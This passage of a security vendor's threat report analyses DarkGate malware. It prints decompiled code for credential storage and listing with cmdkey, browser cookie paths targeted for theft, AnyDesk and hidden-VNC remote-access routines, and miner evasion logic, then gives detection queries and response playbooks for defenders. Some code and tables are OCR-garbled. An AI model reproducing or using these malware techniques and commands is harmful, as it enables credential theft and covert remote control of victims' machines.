             CU:\\Software\\Microsoft\\Terminal Server Client\"\" -Name \"\"AuthenticationLevel0
             verride\"\" -Value 0 }\""
             ,"C:\\Windows\\System32\\",'\x01',0);
FUN_00404454((int *)slocal_8,*unaff_EBX);
```

Creation and storage of remote credential

As settings related to RDP have been modified, credentials for RDP have been created and have been stored using cmdkey binary that could be used, for example, to provide automated authentication when accessing a network resource or service that requires these credentials.

```
FUN 0043f954((undefined4 *)"Execute cmdkey");
puVar8 = (undefined *)0x0;
cVarl = '\x01';
FUN_004497d4((int *)&stack0xffffffcc);
FUN_0044811c("cmd.exe",
             "/c cmdkey /generic:\"127.0.0.2\" /user:\"SafeMode\" /pass:\"darkgatepassword0\"",
             puVar8,cVar1,(int)puVar8);
FUN_0043f954((undefined4 *)"Configure local RDP");
Sleep(3000);
piVar5 = (int *)FUN_00403668((int *)&PTR_LAB_00416591+3_00415610,'\x01',extraout_ECX);
(**(code **)(*piVar5 + 0x38))(piVar5, "full address:s:127.0.0.2");
(**(code **)(*piVar5 + 0x38))(piVar5,"username:s:SafeMode");
(**(code **)(*piVar5 + 0x38))(piVar5, "authentication level:i:0");
(**(code **)(*piVar5 + 0x38))(piVar5, "prompt for credentials:::0");
(**(code **)(*piVar5 + 0x74))(piVar5,"c:\\temp\\test.rdp");
FUN_00403698(piVar5);
FUN 0043f954((undefined4 *)"Execute test.rdp");
DAT_00458064 = OpenDesktopA("hanydesk", 0, -1, 0x10000000);
```

## **Execution of Psexec**

DarkgGate is configured to create a user profile, which it uses for lateral movement within the compromised network. It employs Psexec to remotely execute processes, facilitating its spread across networked systems.



## **Credential access**

DarkGate is equipped with the ability to extract credentials from the victim system. In our analysis of the samples, we noted configurations tailored specifically to extract credentials from popular browsers such as Edge, Firefox, Chrome, Brave, and Opera. Its primary focus lies on files that store browser cookies.

Examples of targeted file paths include:

- Opera Software\Opera GX Stable\Network\Cookies
- Opera Software\Opera Stable\Cookies

- BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies
- Microsoft\Edge\User Data\Default\Network\Cookies

Additionally, besides its focus on targeting web browsers, we observed DarGgate containing configurations to execute popular password extraction tools from Nirsoft. These tools include <u>MailPassView</u>, capable of extracting credentials from various email clients, and <u>WebPassView</u>, which can extract credentials from browsers such as Chrome, Firefox, Opera, and Internet Explorer.

In addition to the aforementioned techniques, the malware also leverages cmdkey, a built-in Windows binary, to enumerate and extract credentials from the compromised system. By using this utility, the malware can list out and potentially extract various types of credentials stored on the system, including those associated with network resources, remote servers, or user accounts.

```
FUN_00404454((int *)&stack0xffffff0,0x437f0c);
iVar6 = 0;
pcVar8 = (char *)0x1;
pcStackY_30 = (char *)0x437c95;
FUN_004046e4((int *)&stack0xffffffe8,(undefined4 *)"/c cmdkey /list > ",unaff_EBX);
pcStackY_30 = (char *)0x437ca4;
```

The GetKeyboardState API function, intended for legitimate keyboard input handling, can be exploited to create a keylogger. By installing a global keyboard hook, an attacker can monitor keystrokes system-wide. Periodically calling GetKeyboardState allows the detection of key presses, which are then logged along with metadata. To evade detection, the keylogger may employ encryption or other obfuscation techniques. However, it's important to note that developing and deploying keyloggers without authorization is illegal and unethical.

## Software for malicious ends

## AnyDesk

DarkGate contains a configuration to download and run AnyDesk in the victim system, which grants remote system management for threat actors.

```
FUN_0043f954((undefined4 *)"Starting Anydesk");
while( true ) {
 local_30 = (undefined4 *)0x44caa6;
 Sleep(5000);
 pcVar7 = (char *)0x0;
  iVar2 = FUN 004481d0("c:\\temp\\anydesk.exe", (undefined *) 0x0, (undefined *) 0x0,
                       (undefined *) 0x0, '\0');
 if (iVar2 != 0) break;
  FUN 0043f954((undefined4 *)"Anydesk unable to start, desktop not ready? Waiting 5 seconds");
FUN_0043f954((undefined4 *)"Anydesk started, reading config");
Sleep(6000);
uVar1 = FUN 00408800("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf");
if ((char)uVar1 == '\0') {
  FUN_00447b28((uint *)"anydesk.exe",'\x01');
  FUN 0043f954((undefined4 *)
               "C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf Not exists, maybe de
              sktop still not ready, waiting 45 seconds more..."
              ):
  FUN 004481d0("c:\\temp\\anydesk.exe", (undefined *)0x0, (undefined *)0x0, (undefined *)0x0, '\0');
  Sleep(35000);
  FUN_00447b28((uint *)"anydesk.exe", '\x01');
  Sleep(5000);
  pcVar7 = (char *)0x0;
  FUN_004481d0("c:\\temp\\anydesk.exe", (undefined *)0x0, (undefined *)0x0, (undefined *)0x0, '\0');
  Sleep(3000);
  FUN_00447b28((uint *)"anydesk.exe",'\x01');
  Sleep(2000);
  uVar1 = FUN 00408800("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf");
  if ((char)uVarl == '\0') {
   pcVar7 = (char *)0x0;
    FUN_004481d0("c:\\temp\\anydesk.exe", (undefined *)0x0, (undefined *)0x0, (undefined *)0x0, '\0'
                );
    FUN 0043f954((undefined4 *)"Anydesk started, reading config");
    Sleep(9000);
    uVarl = FUN 00408800("C:\\Users\\SafeMode\\AppData\\Roaming\\AnvDesk\\system.conf");
    if ((char)uVarl == '\0') {
```

```
FUN_0043f954((undefined4 *)"Anydesk Config loaded - Injecting DarkGate hAnydesk Config");
FUN_00447b28((uint *)"Anydesk.exe",'\x01');
FUN_0043f954((undefined4 *)"Restarting AnyDesk");
local 30 = (undefined4 *)0x44cbe3;
Sleep(2000);
piVar3 = (int *) FUN_00403668((int *) & PTR_LAB_00416591+3_00415610, '\x01', extraout_ECX);
piVar4 = (int *)FUN_00403668((int *)&PTR_LAB_00416591+3_00415610,'\x01',extraout_ECX_00);
FUN_00445cf0("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf", &local_c);
(**(code **)(*piVar4 + 0x2c))(piVar4,local_c);
FUN_00416e34(piVar4,0x44d060,slocal_10);
uVar6 = extraout_var;
if (local_10 == 0) {
  FUN 0043f954((undefined4 *)"ad.anynet.id = \"\" waiting 20 second");
  local_30 = (undefined4 *)0x44cc3f;
 Sleep(20000);
  FUN_00445cf0("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf",
               (int *)&stack0xffffffec);
  (**(code **)(*piVar4 + 0x2c))(piVar4,unaff_EBX);
 uVar6 = extraout var 00;
}
local_30 = (undefined4 *)0x44cc70;
FUN 004441d0 ((undefined4 *) sDAT 0044d0a4,*(int *) PTR DAT 00456710, CONCAT22 (uVar6, 0x5b4),
             (byte **)&stack0xffffffe4);
local_30 = (undefined4 *)0x44cc7b;
FUN_0041a364((int)unaff_EDI,(int *)&stack0xfffffe8);
local_30 = (undefined4 *)0x44cc85;
(**(code **)(*piVar3 + 0x2c))(piVar3,unaff_ESI);
local_30 = (undefined4 *)0x44cc8c;
iVar2 = (**(code **)(*piVar3 + 0x14))();
if (iVar2 < 3) {</pre>
 FUN_0043f954((undefined4 *)"Invalid config hAnydeskGetInjectAbleConfig");
1
else {
 FUN 00403668((int *) & PTR LAB 00416591+3 00415610, '\x01', extraout ECX 01);
 piVar5 = (int *) FUN 0044c6c8 (piVar3, piVar4, extraout ECX 02);
  iVar2 = 0x44ccc3;
  (**(code **)(*piVar5 + 0x74))
            (piVar5, "C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf");
 local_10 = 0;
```

#### hVNC

In addition to its capability to use AnyDesk for remote desktop access, DarkGate also supports remote desktop access using hidden Virtual Network Computing (<u>hVNC</u>).

```
local_lc = (undefined4 *)&stack0xfffffffc;
iVar8 = 0x17;
do {
 local 8 = 0;
 iVar8 = iVar8 + -1;
} while (iVar8 != 0);
local_20 = &LAB_004359f2;
iStack 24 = *in FS OFFSET;
*in_FS_OFFSET = (int)&iStack_24;
FUN_0043f954((undefined4 *)"hVNC phase 1");
if (DAT 00457d4c != '\0') {
 FUN 0043f954((undefined4 *)"Cleaning virtualdesk hVNC processes");
 FUN_00404370((LPSECURITY_ATTRIBUTES)0x0,0,&LAB_00435200,&local_8,0,0);
1
DAT 00457d4c = 1;
FUN_00430ae8(DAT_00457d64,(int *)slocal_c);
FUN 0043524c(DAT 00457d64,(int *)&stack0xfffffff0);
FUN_004441d0 ((undefined4 *) & DAT_00435a4c,*(int *) PTR_DAT_00456710, CONCAT22 (extraout_var, 0x45a),
             (byte **)&stack0xffffff88);
FUN_0043f954((undefined4 *)"hVNC phase 2");
cVarl = FUN 00445128((undefined *)local c);
if (cVarl == '\0') {
 DAT_00457d4c = 0;
 FUN_004046e4((int *)&stack0xffffff84,unaff_EBX,(undefined4 *)" not found");
 FUN_0043f954(in_stack_ffffff84);
 ppbVar9 = (byte **) sstack0xffffff80;
 FUN 004046e4((int *)sstack0xffffff78,unaff EBX, (undefined4 *)" not found");
 FUN_0044950c(in_stack_ffffff78,(int *)&stack0xffffff7c);
 FUN_004441d0 (in_stack_ffffff7c,*(int *) PTR_DAT_00456710,CONCAT22 (extraout_var_00,0x53b),ppbVar9)
 ;
1
else {
 FUN_00433cc4('\x01');
 pHVar2 = OpenDesktopA("virtualdesk", 0, -1, 0x10000000);
 * (HDESK *) PTR DAT 00456500 = pHVar2;
 if (*(int *) PTR DAT 00456500 == 0) {
   uStack_{44} = 0x4355a0;
   pHVar2 = CreateDesktopA("virtualdesk", (LPCSTR)0x0, (DEVMODEA *)0x0,0,0x10000000,
                             (LPSECURITY ATTRIBUTES) 0x0);
   *(HDESK *)PTR DAT 00456500 = pHVar2;
 }
```

#### Miners

Darkgate can deploy miners into the victim system. It has been configured to stop the miner if task manager and tools such as process explorer and process hacker are detected.

```
void FUN 0043fefc(void)
ł
 char *pcVarl;
 undefined4 *in_FS_OFFSET;
 undefined4 uStack_lc;
 undefined *puStack 18;
 undefined *puStack 14;
 byte *local c;
 byte *local_8;
 puStack_14 = &stack0xfffffff;
 local_8 = (byte *)0x0;
 local_c = (byte *)0x0;
 puStack_18 = &LAB_0043ff88;
 uStack_lc = *in_FS_OFFSET;
 *in_FS_OFFSET = suStack_lc;
 FUN_00447c7c(slocal_c);
 FUN_00407fa4(local_c,slocal_8);
 pcVarl = FUN_00404980("taskmgr.exe", (char *)local_8);
 if ((((int)pcVarl < 1) & (pcVarl = FUN_00404980("procexp", (char *)local_8), (int)pcVarl < 1)) +
     (pcVarl = FUN_00404980("hwmonitor", (char *)local_8), (int)pcVarl < 1)) {</pre>
   FUN_00404980("processhacker.exe", (char *)local_8);
 }
 *in_FS_OFFSET = uStack_lc;
 puStack_14 = &LAB_0043ff8f;
 puStack_18 = (undefined *)0x43ff87;
 FUN_004043e0((int *)slocal_c,2);
 return;
h
```

0043BE81	mov eax,cccdbbb.au3.43C0F4	"Stub: Miner do not start because taskmanager is open!"
0043BF1A	mov eax,cccdbbb.au3.43C0F4	"Stub: Miner do not start because taskmanager is open!"
0043FF2A	mov eax,cccdbbb.au3.43FFA0	"taskmgr.exe"
00440050	mou any coolable suit 440104	"the lange and a l

## Detection

## **Required log sources**

The following should be enabled:

- 1. Windows
  - Process Creation with command-line auditing
  - Audit File System
  - Registry Auditing
- 2. Windows Sysmon

## Detecting execution of initial access payload

From the above analysis, it is clear that when DarkGate executes .msi initial access payload, there are set of processes that are spawned afterward. To look for such a process, one can simply search for the child process of msiexec.exe

Using the above generic query to search for a child process created by msiexec.exe, the analyst can use a filter to display the above-observed techniques:

labe *pr   ch	el="Proces ocess" IN [ art count()	s" label=Cre (**\cmd.exe* by user,host,	ete *parent_process*=**\msiex ,**\icacls.exe*,**\expand.exe*, *parent_process*,*process*,co	ec.exe* **\rund1132.exe*] mmand[	Use wizard 1/1 🗢 LAST 30 DAYS 🗢 🧾 SEARCH
0	ound 23 logs				Add Search To 🔻   🚖 More 👻 🗌 Chart 🏢
	user	host	parent_process	process †	command
Q	sadmin	windows10	C: \Windows\Sys\WOW64\msiexec	C:\Windows\SysWOW64\cmd.exe	C:\Windows\system32\cmd.exe /c rd /s /q *C:\Usen\sadmin\AppData\Local\Temp\MW-abSc4453-baa5-4895-8cd4-a131d02c0cf9\files*
Q	sadmin	windows10	C: \Windows\SysWOW64\msiexec	C:\Windows\SysWOW64\cmd.exe	C/Windows/system32/cmd.exe /c rd /s /q *C:/Users/sadmin/AppData/Local/Temp/MW-a30015ed-cd0f-43df-9d6e-2af9088e10cc/files*
۹	sadmin	windows10	C: \Windows\SysWOW64\msiexec	C:\Windows\SysWOW64\cmd.exe	C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\sadmin\AppData\Local\Temp\MW-1cb113b7-fd36-4f06-94a6-ccfe4780494e\files"
٩	sadmin	windows10	C: \Windows\SysWOW64\msiexec	C: \Windows\SysWOW64\expand.exe	*C:\Windows\system32\EXPAND.EXE* -R files.cab -F:* files
Q	sadmin	windows10	C: \Windows\SysWOW64\msiexec	C: \Windows\SysWOW64\icacls.exe	*C:\Windows\system32\CACL5.EXE`*C:\Users\sadmin\AppData\Local\Temp\MW-ab5c4453-baa5-4895-8cd4-a131d02c0r9\.*/ SETINTEGRITYLEVEL (CI(IOI)LOW
٩	sadmin	windows10	C: \Windows\Sys\WOW64\msiexec	C: \Windows\SysWOW64\icacls.exe	*C:\Windows\system32\/CACLS.EXE* *C:\Users\sadmin\AppData\Loca\\Temp\WW-ab5c4453-baa5-4895-8cd4-a131d02c0cf9\.* / SETINTEGRITYLEVEL (CI)(OI)HIGH
Q	sadmin	windows10	C: \Windows\SysWOW64\msiexec	C: \Windows\SysWOW64\icacls.exe	*C:\Windows\system32\/CACL5.EXE* *C:\Users\sadmin\AppData\Local\Temp\/WW-1cb113b7-fd36-4f06-94a6-ccfe4780494e\_* / SETINTEGRITYLEVEL (CI)(OI)HIGH
Q	sadmin	windows10	C: \Windows\Sys\WOW64\msiexec	C: \Windows\SysWOW64\icacls.exe	*C:\Windows\system32\/CACL5.EXE* *C:\Users\sadmin\AppData\Local\Temp\MW-a30015ed-cd0f-43df-9d6e-2af9088e10cc\.* / SETINTEGRITYLEVEL (CI](OI)HIGH
Q	sadmin	windows10	C: \Windows\SysWOW64\msiexec	C: \Windows\SysWOW64\icacls.exe	*C:\Windows\system32\uCACL5.EXE`*C:\Users\sadmin\AppData\Local\Temp\MIW-1cb113b7-fd36-4f06-94a6-ccfe4780494e\_* / SETINTEGRITYLEVEL (C)(IQILOW

When applications are installed in the windows relevant events are generated as well.

label=Appl event_source   chart cource	ication label=Install ce=MsiInstaller t0 by host,rule_description,product	Use wizard All 🔻 LAST 30 MINUTES 👻
21		
3 logs		Add Search To * More *
host	rule_description	product
windows10	Application installed osquery, 5.2.3, 1033, 0, osquery	osquery
windows10	Application installed AgentX Client, 1.2.1, 1033, 0, Logpoint	AgentX Client
windows10	Application installed KeyScrambler - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com, 3.17.0.4, 1033, 1603, QFX Software Corporation	KeyScrambler - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com

Besides the use of MSI files, other file formats are also used as initial payload, which can be detected using the following alerts:

- <u>WScript or CScript Dropper Detected</u>
- MSHTA Spawning Windows Shell Detected

• Suspicious Execution of LNK File

Also, the below alerts can be used to detect specific events related to the suspicious use of expand.exe and icacls.exe binary by DarkGate payloads.

- File or Folder Permissions Modifications
- Suspicious File Extraction via Expand Detected

## Suspicious Rundll32 activity detected

Recent samples have use rundll32 to download the DarkGate loader into the system. Analysts can use this alert to detect the execution of malicious DLLs that result in the download of the loader into the system via rundll32.

label="; ((comma OR (com OR (com OR (com OR (com OR (com OR (com	label=*process* label=create (*process*=**\rundli32.exe* OR file=*rundli32.exe*)       Use wizad       1/1 • LAST 30 DAYS •         ((command=**jexascript:** command=**.RegisterXLL**)       OR (command=**0penURL** OR command=**FileProtocolHandler**))       OR (command=**0penURL** OR command=**FileProtocolHandler**))       OR (command=**shell32.dll** (command=**Control_RunDLL**)       OR (command=**shell32.dll** (command=**Control_RunDLL** OR command=**ShellExec_RunDLL**))       OR (command=**shell32.dll** (command=**Control_RunDLL** OR command=**ShellExec_RunDLL**))       OR (command=**shell32.dll** (command=**Control_RunDLL**))       OR (command=**shell32.dll** (command=**ShellExec_RunDLL**))       OR (command=**shell3**)       OR (co								
Found	12 logs	0	Add Search	To ▼ _ ★	More *				
	command								
Q	rundll32.exe "C:\Windows\Installer\MSIBBF2.tmp",zzzzInvokeManagedCustomActionOutOlProc SfxCA_4963328 11 tiho_exe.cslCustomActions.DownloadAndExecute								
Q	rundli32.exe "C:\Windows\Installer\MSIEE6B.tmp",zzzzInvokeManagedCustomActionOutOIProc SfxCA_3665640 2 WixSharp/WixSharp.ManagedProjectActions.WixSharp_InitRuntime_Action								
Q	rundll32.exe "C:\Windows\Installer\M5IA14A.tmp",zzzInvokeManagedCustomActionOutOIProc SfxCA_19964375 2 WixSharpIWixSharp.ManagedProjectActions.WixSharp_In	tRuntir	ne_Action						
Q	rundll32.exe *C:\Windows\Installer\MSIBC47.tmp*,zzzInvokeManagedCustomActionOutOlProc SfxCA_19971234 17 WixSharp!WixSharp.ManagedProjectActions.CancelRequ	estHar	dler						
۹	rundli32.exe "C:\Windows\Installer\MSIA4D6.tmp",zzzzinvokeManagedCustomActionOutOfProc SfxCA_19965156 11 tiho_exe.cslCustomActions.DownloadAndExecute								
۹	rundll32.exe *C:\Windows\Installer\MSI1FDE.tmp*,zzzInvokeManagedCustomActionOutOfProc SfxCA_4071437 2 WixSharpIWixSharp.ManagedProjectActions.WixSharp_Init	luntim	2_Action						
۹	rundll32.exe "C:\Windows\Installer\MSICB83.tmp",zzzInvokeManagedCustomActionOutOfProc SfxCA_4967390 17 WixSharp\WixSharp.ManagedProjectActions.CancelReque	stHand	ller						
Q	Q rundli32.exe "C:\Windows\Installer\MSi2138.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4071750 11 tiho_exe.cslCustomActions.DownloadAndExecute								
Q rundll32.exe "C:\Windows\Installer\MSIB98F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4962796 2 WixSharpIWixSharp_ManagedProjectActions.WixSharp_InitRuntime_Action									
Q	Q rundll32.exe "C:\Windows\Installer\M5I62C.tmp",zzztInvokeManagedCustomActionOutOlProc 5fxCA_3671609 17 WixSharp/WixSharp.ManagedProjectActions.CancelRequestHandler								

## Detecting traces and execution of AutoIT3 and script files

Now after detecting artifacts related to the execution of initial access, we can search for one of the unique techniques used to deploy the DarkGate malware, for example the use of Autoit3 and its malicious scripts:

Analysts can use the below query to detect events where Autoit3 and script files are being created

norm_id=WindowsSysmon event_id=11 file IN (*autoit3.exe*,**.au3*,**.a3x*)   chart count() by *process*,file,path(	A	Use wizard 1/1 💌 LAST 30 DAYS 💌
Found 10 logs		🔘 Add Search To 🔻 🔺 More 🔻
process	file -	path
C:\Program Files\7-Zip\7zG.exe	1e02e674196885d692c0dbb6e80cffd83e6d54bf244761d051d6b579ac83db40.au3	C:\Users\sadmin\Downloads
C:\Program Files\7-Zip\7z.exe	78b3702f5c0f7efdf4598a2284cf3c7b3b51a6ae93a001029290bcc6a97bdc0a.au3	C:\Users\sadmin\Downloads
C:\ProgramData\afafhcb\Autoit3.exe	dfchehd.a3x	C:\ProgramData\afafhcb
C:\Users\sadmin\AppData\Local\Temp\MW-a30015ed- cd0f-43df-9d6e-2af9088e10cc\files\iTunesHelper.exe	Autoit3.exe	C:\temp
C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe	Autoit3.exe	C:\ProgramData\hhcafeg
C:\Users\sadmin\AppData\Local\Temp\MW-a30015ed- cd0f-43df-9d6e-2af9088e10cc\files\iTunesHelper.exe	script.a3x	C:\temp
C:\Users\sadmin\AppData\Local\Temp\MW-1cb113b7-fd36-4f06-94a6- ccfe4780494e\files\iTunesHelper.exe	script.a3x	C:\temp
C:\Program Files\7-Zip\7z.exe	a86cd95594771888b1ca6f4bf6aeafff8820aa6680665305520e0d2f9c0ac4fa.au3	C:\Users\sadmin\Downloads
c:\temp\Autoit3.exe	Autoit3.exe	C:\ProgramData\abebchd
C:\Users\sadmin\AppData\Local\Temp\MW-1cb113b7-fd36-4f06-94a6- ccfe4780494e\files\iTunesHelper.exe	Autoit3.exe	C:\temp

After the binary and script files are downloaded, they are executed to drop other stages of the payload

label= ("proce comma   chart	label="Process" label=Create       Use wizard       1/1       LAST 30 DAYS         ("process" = ""\autoit3.exe" OR description="Autoit v3 Script" OR application="Autoit v3 Script")       command IN ["*.au3", "*.a3x"]         [ chart count() by user,host,parent_proces\$, "process", command									
S Fours	d 11 logs				Add Search To * * More					
	user	host	parent_process	process	command					
Q	sadmin	window	C:\Windows\explorer.exe	C:\ProgramData\abebchd\Autoit3.exe	*C:\ProgramData\abebchd\Autoit3.exe* C:\ProgramData\abebchd\cfbfaha.a3x					
Q	sadmin	window	C:\Windows\explorer.exe	C:\ProgramData\bagbche\Autoit3.exe	"C:\ProgramData\bagbche\Autoit3.exe" C:\ProgramData\bagbche\fbhfbaf.a3x					
Q	sadmin	window	C:\Windows\explorer.exe	C:\ProgramData\afafhcb\Autoit3.exe	*C:\ProgramData\afafhcb\Autoit3.exe* C:\ProgramData\afafhcb\dfchehd.a3x					
۹	sadmin	window	C:\Users\sadmin\AppData\Local\Temp\MW-a30015ed- cd0f-43df-9d6e-2af9088e10cc\files\iTunesHelper.exe	C:\temp\Autoit3.exe	"c:\temp\Autoit3.exe" c:\temp\script.a3x					
Q	sadmin	window	C:\Users\sadmin\AppData\Local\Temp\MW-1cb113b7- fd36-4f06-94a6-ccfe4780494e\files\iTunesHelper.exe	C:\temp\Autoit3.exe	"c:\temp\Autoit3.exe" c:\temp\script.a3x					

For persistence, the Autolt3 binary and the script are written in another folder. Later, they are configured for persistence by placing them in the run registry. Therefore, analysts can use the **Autorun Keys Modification Detected** alert to detect such events.

#### **Detecting modification of internet settings**

Before connecting to the C2, the loader tries to change Internet Settings to prevent any issues during communication with the C2.

Note: The mentioned registry path in the query needs to be added in Sysmon Configuration or SACL needs to be configured to generate relevant logs.

## Detecting techniques related to DarkGate

DarkGate uses psexec for remote command execution, which can be detected using the following query.

As DarkGate is known to retrieve credential and cookies data from the web browser below, analysts can use the query to hunt for such events, if appropriate SACL is configured to the relevant folder with Audit File System.

## Note: Appropriate SACL needs to be configured beside File System Auditing

DarkGate can change the configuration related to Terminal Service, which can be detected using the following query:

Typically, miners are executed with the --cpu-priority command-line argument. As DarkGate can deploy miners into the system and during the analysis of a sample, we observed hardcoded command-line configurations. Analysts can use the following query to detect process creation events of miners.

DarkGate also deploys AnyDesk for remote access, so analysts can use the below query to detect traces of AnyDesk installation and execution.

(label ("pro- OR d OR (label OR (label   char	="Process" label=Create cess"="*\anydesk.exe" lescription="*Anydesk" OR application="*anyder = "Registry" label=Set label=Value target_object= =Application label=Install "application"="*AnyOe t count() by event_id,"process",description,produc	sk** OR **anyde sk*** t,vendo	vendor= sk** ) r,target_	* anydes	Use wizard AB • LAST 30 DAVS •	FARCH
🕲 Fou	nd 9 logs				🔘 Add Search To 🍷 🚖 More 👻 🔅	Chart
event	process	descrip	produc	vendor	target_object	detail
13	C:\Windows\system32\compattelrunner.exe	null	null	null	\REGISTRY\A\\5cbd9a9d-5889-e2a3-a2dd-514cb314726d}\Root\InventoryApplicationFile\anydesk.exe  9b2d3a9776d45c7a\LowerCaseLongPath	c:\program files (x86)\anyde
13	C/Windows\system32\compattelrunner.exe	null	null	null	\REGISTRY\A\(5cbd9a9d-5889-e2a3-a2dd-514cb314726d)\Root\InventoryApplicationFile\anydesk.exe(9b2d3a9776d45c7a\Publisher	anydesk software gmbh
13	C:\Windows\system32\compattelrunner.exe	null	null	null	\REGISTRY\A\\5cbd9a9d-5889-e2a3-e2dd-514cb314726d\\Root\InventoryApplicationFile\anydesk.exe\9b2d3a9776d45c7a\LinkDate	01/27/2024 18:04:37
13	C:\Windows\system32\compattelrunner.exe	null	null	null	\REGISTRYA\\5cbd9a9d-5889-e2a3-e2dd-514cb314726d\\Root\UnventoryApplicationFile\anydesk.exe 9b2d3a9776d45c7a\LinkDate	(Empty)
1	C:\Program Files (x86)\AnyDesk\AnyDesk.exe	Any	null	AnyDesk Software GmbH	null	null
13	C:\Windows\system32\compattelrunner.exe	null	null	null	\REGISTRY\A\\5cbd9a9d-5889-e2a3-e2dd-514cb314726dj\Root\InventoryApplicationFile\anydesk.exe] 9b2d3a9776d45c7a\BinProductVersion	0.0.0.0
13	C:\Windows\system32\compattelrunner.exe	null	null	null	\REGISTRY\A\\5cbd9a9d-5889-e2a3-e2dd-514cb314726d \Root\InventoryApplicationFile\anydesk.exe  9b2d3a9776d45c7a\BinProductVersion	(Empty)

# **Responding to DarkGate**

Upon detecting traces of the DarkGate malware, analysts can use the provided hunting queries to establish them as triggers for subsequent playbooks. These playbooks automate the response process against DarkGate infections.

## Logpoint AgentX Remove Item

DarkGate tends to create backup files and drop multiple payload files. By detecting relevant files related to DarkGate, analysts can use Remove Item playbook to delete those files, or an analyst can set relevant triggers to automate the process of running the playbook.



## Logpoint AgentX Terminate Process

Based on the queries and alerts mentioned earlier, if the malware process remains active, analysts can use the Terminate Process playbook to terminate it promptly.



## Logpoint AgentX Delete Registry Value

Analysts can use the Delete Registry Value playbook to delete the suspicious registry value added in the Run registry key for persistence by the DarkGate loader.



## Logpoint AgentX Isolate-Unisolate Host

After verifying the host is infected, analysts can use the Isolate-Unisolate Host playbook to isolate the host to prevent further lateral movement and pivoting.

K Back Log	Point AgentX Isola	ate-Unisolate Host		Snap to Grid SLA	Q 1 t Q L Ø D Save
+ Add Action	C Maan Trager Trager Trager	A to Then Then rise fixed Dead 2 field as they are di- tion of the	a de cla instance range de cla instance range de si	A du table in Deck f agerts in shole Orect f agerts in shole Orect f agerts in shole	Add     Second Constants Windows     Monte Constants Windows     Monte Constants Index     Order     Order
	Q. Quary     K       Quary successful industries     Quary successful industries       Q     Q	A 4 - Dan 4	Constant 1  The message signifies the endpoint has been.  Januarity Hadronyustanticitier Case.  Constant 2  The message signifies the endpoint has been.  Januarity Bandronyustantice Case.  O	2 boys s Boys 50ys 2 0	Ted Not Socialed

# Recommendations

- Malware like DarkGate and other malware families are distributed via social engineering tactics. To combat these threats, organizations should provide regular training to employees on recognizing and responding to social engineering attacks, including simulated exercises that replicate real-world scenarios.
- In addition to enforcing a robust password policy, where password resets occur once a year, raising awareness about password hygiene is crucial. Users should avoid reusing passwords across multiple accounts to prevent adversaries from accessing other services if one password is compromised. Additionally, implementing Multi-Factor Authentication (MFA) on all users, if feasible, otherwise MFA for privileged users or cloud accounts adds an extra layer of security by requiring multiple forms of verification, making it harder for adversaries to gain access.
- Implement least privilege to restrict user access and permissions, giving employees only what is necessary for them to perform their job functions. By doing so, organizations can significantly reduce the risk of unauthorized access or malicious activity if the user account is compromised.
- The use of endpoint protection systems is pivotal in detecting and blocking malware, as demonstrated by DarkGate terminating its actions upon detecting specific antivirus products.
- Implementing proper network segmentation is vital for safeguarding essential systems and sensitive data from malware and adversaries. By keeping these critical assets isolated from the rest of the network, organizations can reduce the risk of lateral movement or pivoting.

- Regularly auditing privileged accounts and their activities helps detect misuse or anomalies that could lead to data breaches, system failures, and other security incidents. By closely monitoring privileged access, organizations can identify suspicious behavior and take prompt action to mitigate risks, enhancing overall security.
- Regularly updating devices, browsers, and other software applications is a critical security practice that can help protect systems from known vulnerabilities and cyber threats.
- Proper logging, asset visibility, and system monitoring are crucial for cybersecurity. They offer network oversight and anomaly detection. Regular monitoring and auditing track user activity and identify unusual behavior. Comprehensive log collection from all systems is essential.
- Threat actors leverage Remote Monitoring and Management (RMM) tools such as AnyDesk, Atera, etc., for remote desktop access. Organizations should monitor the use of such tools. Additionally, it is crucial to monitor the installation of applications because, as observed with DarkGate, it installs applications at multiple stages of the attack cycle.
- If feasible, configure an appropriate host-based firewall policy to limit the outbound communication from certain applications such as Wscript, Rundll32, and Mshta, which are extensively abused by threat actors to drop other stages of payloads.
- Additionally, it is recommended to have an adequate log retention policy in place to ensure that log data is available for analysis in the event of an incident. For better visibility, it is recommended to have a log retention time of at least six months.
- Finally, ensure that an incident response plan is in place for prompt action upon incident detection, aimed at minimizing damage.

For centralized logging and visibility, Logpoint can help with an end-to-end security operations platform, <u>Converged SIEM</u>. Logpoint covers the entire threat detection, investigation, and response process with SIEM, SOAR, and UEBA, including a native endpoint agent. For more information on getting started with Logpoint, <u>book a demo</u> to see Converged SIEM in action.